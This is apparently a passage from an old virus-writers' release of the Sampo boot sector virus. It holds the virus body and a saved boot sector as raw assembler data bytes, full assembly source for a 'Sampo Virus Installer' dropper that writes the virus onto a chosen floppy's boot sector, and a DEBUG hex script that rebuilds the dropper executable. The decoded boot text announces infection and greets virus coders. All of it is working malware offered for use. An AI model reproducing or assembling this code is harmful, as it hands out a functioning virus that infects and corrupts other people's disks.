db 099h,05Ah,0EFh,003h,0F3h,0C0h,089h,00Dh,0EFh,003h,0BDh,073h,003h
db 000h,0F2h,089h,04Fh,001h,089h,077h,000h,0C0h,0A3h,0EAh,003h,0B7h
db 000h,0CEh,010h,0FDh,0C5h,0C0h,051h,088h,0D2h,085h,0F1h,0B2h,005h
db 0D1h,0E1h,083h,0C9h,002h,088h,0C9h,059h,0C0h,0EBh,0E0h,0FCh,039h
db 035h,0E9h,003h,076h,0F4h,0C0h,02Bh,003h,00Ah,001h,001h,00Fh,003h
db 08Dh,0DBh,031h,0E7h,0CEh,010h,0B8h,003h,001h,089h,0E8h,089h,015h
db 0EEh,003h,0EBh,0B0h,0FCh,0EBh,094h,0FCh,0FCh,005h,0EFh,001h,082h
db 03Dh,0EFh,001h,093h,002h,075h,000h,0EAh,00Ch,002h,0EBh,07Ch,0FCh
db 030h,0C3h,0A0h,0EFh,001h,08Dh,0C3h,0B8h,003h,07Fh,0FDh,0C2h,0EBh
db 075h,0FCh,083h,0F9h,083h,076h,000h,0EAh,082h,003h,08Fh,0C8h,082h
db 0E8h,003h,013h,08Dh,0C0h,030h,0D8h,0B2h,002h,0B9h,083h,003h,0EBh
db 05Fh,0FCh,071h,06Eh,025h,082h,0BCh,049h,003h,0BFh,09Dh,077h,067h
db 052h,051h,0B7h,00Bh,0CEh,010h,071h,023h,0FDh,0C5h,08Bh,035h,0E9h
db 003h,089h,0D2h,085h,0EAh,083h,0E6h,03Ch,08Bh,02Dh,0EAh,003h,052h
db 0B2h,005h,0D1h,0E9h,05Ah,089h,0E9h,042h,08Ah,00Dh,0E4h,003h,0E8h
db 013h,0C5h,005h,0E9h,003h,007h,0C5h,005h,0EAh,003h,012h,0C4h,005h
db 0E4h,003h,060h,001h,059h,05Ah,0C5h,005h,0EFh,003h,01Fh,08Bh,015h
db 0EEh,003h,0B2h,004h,0EBh,000h,0FCh,005h,01Ch,00Dh,004h,0BAh,041h
db 003h,0BDh,0BDh,002h,088h,0FDh,0FFh,0F0h,0A7h,0FDh,0C2h,0EBh,0ECh
db 0FDh,0B8h,003h,001h,0B2h,005h,0EBh,0E4h,0FDh,0E8h,052h,003h,01Ch
db 05Dh,02Dh,0FCh,02Dh,0ADh,003h,053h,0B8h,003h,07Fh,050h,0C8h,0AEh
db 66 dup (3)


; This is where the original boot sector is placed... :)

old db 0EBh,03Ch,090h,053h,041h,04Dh,050h,04Fh,035h,02Eh,030h,000h,002h
db 002h,001h,000h,002h,070h,000h,0D0h,002h,0FDh,002h,000h,009h,000h
db 002h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,029h
db 059h,065h,05Ah,028h,059h,065h,05Ah,020h,020h,020h,020h,020h,020h
db 020h,020h,046h,041h,054h,031h,032h,020h,020h,020h,0FAh,08Ch,0C8h
db 08Eh,0D8h,08Eh,0C0h,08Eh,0D0h,0BCh,000h,0F0h,0FBh,0B8h,003h,000h
db 0CDh,010h,0FCh,0BEh,068h,07Ch,0ACh,0A8h,0FFh,074h,009h,0B4h,00Eh
db 0BBh,007h,000h,0CDh,010h,0EBh,0F2h,033h,0C0h,0CDh,016h,0CDh,019h
db 057h,061h,072h,06Eh,069h,06Eh,067h,021h,021h,021h,007h,007h,007h
db 00Dh,00Ah,00Ah,059h,06Fh,075h,072h,020h,073h,079h,073h,074h,065h
db 06Dh,020h,06Eh,06Fh,077h,020h,069h,06Eh,066h,065h,063h,074h,065h
db 064h,020h,077h,069h,074h,068h,020h,074h,068h,065h,020h,053h,041h
db 04Dh,050h,04Fh,020h,076h,069h,072h,075h,073h,02Eh,02Eh,02Eh,00Dh
db 00Ah,049h,066h,020h,079h,06Fh,075h,020h,064h,06Fh,020h,06Eh,06Fh
db 074h,020h,06Bh,06Eh,06Fh,077h,020h,068h,06Fh,077h,020h,074h,06Fh
db 020h,068h,061h,06Eh,064h,06Ch,065h,020h,062h,06Fh,06Fh,074h,020h
db 073h,065h,063h,074h,06Fh,072h,020h,076h,069h,072h,075h,073h,065h
db 073h,00Dh,00Ah,070h,06Ch,065h,061h,073h,065h,020h,072h,065h,073h
db 065h,074h,020h,074h,068h,065h,020h,063h,06Fh,06Dh,070h,075h,074h
db 065h,072h,020h,072h,069h,067h,068h,074h,020h,061h,077h,061h,079h
db 020h,061h,06Eh,064h,020h,062h,06Fh,06Fh,074h,020h,066h,072h,06Fh
db 06Dh,020h,061h,00Dh,00Ah,063h,06Ch,065h,061h,06Eh,020h,062h,06Fh
db 06Fh,074h,061h,062h,06Ch,065h,020h,064h,069h,073h,06Bh,02Eh,02Eh
db 02Eh,00Dh,00Ah,00Ah,047h,072h,065h,065h,074h,07Ah,020h,074h,06Fh
db 03Ah,00Dh,00Ah,020h,050h,073h,04Bh,020h,03Ah,020h,054h,068h,061h
db 06Eh,078h,020h,066h,06Fh,072h,020h,061h,070h,070h,072h,06Fh,076h
db 069h,06Eh,067h,020h,06Dh,079h,020h,063h,06Fh,06Eh,074h,072h,069h
db 062h,075h,074h,069h,06Fh,06Eh,073h,020h,03Ah,029h,00Dh,00Ah,020h
db 04Dh,069h,06Bh,065h,065h,020h,03Ah,020h,04Ah,065h,073h,075h,073h
db 020h,069h,073h,020h,06Fh,075h,072h,020h,04Ch,06Fh,072h,064h,020h
db 061h,06Eh,064h,020h,053h,061h,076h,069h,06Fh,075h,072h,020h,03Ah
db 029h,00Dh,00Ah,020h,041h,06Ch,06Ch,020h,076h,069h,072h,075h,073h
db 020h,063h,06Fh,064h,065h,072h,073h,020h,06Fh,075h,074h,020h,074h
db 068h,065h,072h,065h,02Eh,02Eh,02Eh,00Dh,00Ah,020h,04Ch,061h,073h
db 074h,020h,062h,075h,074h,020h,06Eh,06Fh,074h,020h,074h,068h,065h
db 020h,06Ch,065h,061h,073h,074h,020h,061h,06Ch,06Ch,020h,070h,065h
db 06Fh,070h,06Ch,065h,020h,06Fh,066h,020h,023h,076h,069h,072h,075h
db 073h,020h,061h,06Eh,064h,020h,023h,076h,069h,072h,020h,028h,075h
db 06Eh,064h,065h,072h,06Eh,065h,074h,029h,00Dh,00Ah,00Ah,020h,059h
db 065h,05Ah,000h,055h,0AAh

sampo ends

;****************************************************************************
; This is the dropper program.
; Have fun!!!
;*******************************************************************YeZ******

sampo_dropper segment 'code'
org 0

assume cs:sampo_dropper,ds:sampo_dropper,es:sampo_dropper

begin: call main

db 13,10,'Sampo Virus Installer Version "None"',13,10
db 7,7,7,'This will install the SAMPO virus to your disk!!!!'
db 13,10,10,'Enter Drive Letter: $'
ok db 13,10,10,'All Writes OK!',13,10,'$'
er db 13,10,10,'Disk Error occured!!!',7,7,7,13,10,'$'
drv db 0
disk db 0

main: mov ax,cs
mov ds,ax
mov es,ax
pop dx
mov ah,9
int 21h
xor ax,ax
int 16h

or al,20h
push ax
xor al,20h
mov dl,al
mov ah,2
int 21h
pop ax
sub al,'a'
cmp al,1
jbe ok_drv
jmp disk_err

ok_drv:
mov [drv],al
mov ax,0201h
mov bx,offset buffer
mov cx,1
xor dh,dh
mov dl,[drv]
int 13h
jnc no_err_read
jmp disk_err

no_err_read:
cmp byte ptr [bx+15h],0fdh ;chk if disk is a 360k? low tech?
je ok_to_proceed ;YeZ it is!
mov byte ptr [disk],0ffh ;Sir! high tech disk :)
ok_to_proceed:
lea si,[bx+11]

assume cs:sampo_dropper,ds:sampo_dropper,es:sampo

mov ax,seg sampo
mov es,ax
mov di,11
mov cx,28
cld
push si
push cx
repe movsb ;copy bpb to virus boot sector
pop cx
pop si
mov di,offset old+11
repe movsb ;copy bpb to saved boot sector

mov si,3 ;load repeatition if on error...

try_again1:
test byte ptr [disk],0ffh ;is it a high tech disk?
jz ok_to_write_boot ;nop low tech :(
mov byte ptr [samp_cyl2],4fh ;Reset sampo's configuration.

ok_to_write_boot:
mov ax,0301h ;write to on your disk's boot :]
mov bx,0000h
mov cx,0001h
mov dh,0
mov dl,[drv]
int 13h
jnc proceed2
xor ax,ax ;Reset disk on error!
int 13h
dec si
jnz try_again1
jmp disk_err

proceed2:
mov si,3
mov bx,0200h
try_2:
mov ax,0305h ;Write 5 sectors.
test byte ptr [disk],0ffh ;Is it a high tech disk?
jz ok_27
mov ch,4fh ;YeZ so set cylinder to 4fh.
jmp write_now_ext
ok_27:
mov ch,27h ;if 360K then cylinder = 27h
write_now_ext:
mov cl,1 ; Sector Number 1
mov dh,1 ; Head 1
mov dl,[drv] ; Drive our install drive!
int 13h ; Write it!!!
jnc ok_all
xor ax,ax ;Reset disk on error
int 13h
dec si
jnz try_2

disk_err:
mov ah,9
mov dx,offset er
int 21h
mov al,0ffh
jmp _out
ok_all:
mov dx,offset ok
mov ah,9
int 21h
xor al,al
_out:
mov ah,4ch
int 21h

buffer db 512 dup (?)
sampo_dropper ends
;
_stack_ segment stack 'stack'
dw 32 dup (?)
_stack_ ends
end begin


ÄÄ DRPSAMPO.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


The Sampo virus dropper is an EXE program. After creating the dropper
program, rename the program created from DRPSAMPO.EX_ to DRPSAMPO.EXE.


ÄÄ DRPSAMPO.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

N DRPSAMPO.EX_

F 0100 107F 0
F 0A00 0AFB 9B
F 0A1D 0ADF 40
F 0B00 0CFF 3
E 0100 4D 5A 7E 01 08 00 01 00 20 00 25 00 FF FF F8
E 0110 40 00 00 00 00 00 C0 00 3E 00 00 00 01
E 013E F8
E 0140 C0
E 0300 EB 3C 90 53 41 4D 50 4F 35 2E 30 00 02 02 01
E 0310 02 70 00 D0 02 FD 02 00 09 00 02
E 0326 29 59 65 5A 28 59 65 5A 20 20
E 0330 20 20 20 20 20 20 46 41 54 31 32 20 20 20 EB 0F
E 0340 27 01 00 00 02 00 00 E9 AC EB 1F EA 05 EB 15 FA
E 0350 8C C8 8E D8 8E D0 BC 00 F0 8B C8 83 C1 06 A1 13
E 0360 04 BB 00 02 8B D0 25 FF 03 D3 C0 8E C0 8B C2 26
E 0370 8B 0E 00 00 39 0E 47 7C 74 2D 39 0E 49 7C 74 64
E 0380 39 0E 4B 7C 74 36 39 0E 4D 7C 74 45 BA 3D 00 8B
E 0390 FA BE 00 7C 03 F2 B9 27 00 FC F3 A6 74 03 EB 76
E 03A0 90 FB 33 C0 06 53 CB BF 4C 00 26 A1 0A 00 89 05
E 03B0 26 A1 0C 00 89 45 02 2D 04 00 EB 5D BF 4C 00 26
E 03C0 A1 09 00 89 05 26 A1 0B 00 89 45 02 2D 04 00 EB
E 03D0 48 BF 4C 00 A1 E4 01 89 05 A1 E6 01 89 45 02 2D
E 03E0 04 00 EB 35 BF 20 00 26 A1 7F 02 89 05 26 A1 81
E 03F0 02 89 5D 02 BF 24 00 26 A1 CA 01 89 05 26 A1 CC
E 0400 01 89 45 02 BF 4C 00 26 A1 AC 07 89 05 26 A1 AE
E 0410 07 89 45 02 EB 06 2D 06 00 A3 13 04 FB 33 C9 83
E 0420 C1 06 BE 00 7C 25 FF 03 D3 C0 BF 00 00 8E C0 B9
E 0431 02 FC F3 A4 8C 06 45 7C 33 C0 CD 13 B8 05 02
E 0440 8A 2E 40 7C B6 01 8A 16 42 7C 80 FA 80 75 02 B6
E 0451 8A 0E 41 7C CD 13 72 E0 EB 00 B8 01 00 FF 2E
E 0460 43 7C 9C 50 53 51 52 1E 06 56 57 BA DA 03 EC A8
E 0470 08 74 FB FA 33 C0 B2 0A EE 34 08 EE 8B 16 40 7C
E 0480 34 01 FE C1 8A D1 EC BA DA 03 EC A8 50 75 FB EE
E 0490 34 50 EE 5F 5E 07 1F 5A 59 5B 58 9D CB C3 0D 0A
E 04A0 4E 6F 6E 2D 53 79 73 74 65 6D 20 64 69 73 6B 20
E 04B0 6F 72 20 64 69 73 6B 20 65 72 72 6F 72 0D 0A 52
E 04C0 65 70 6C 61 63 65 20 61 6E 64 20 70 72 65 73 73
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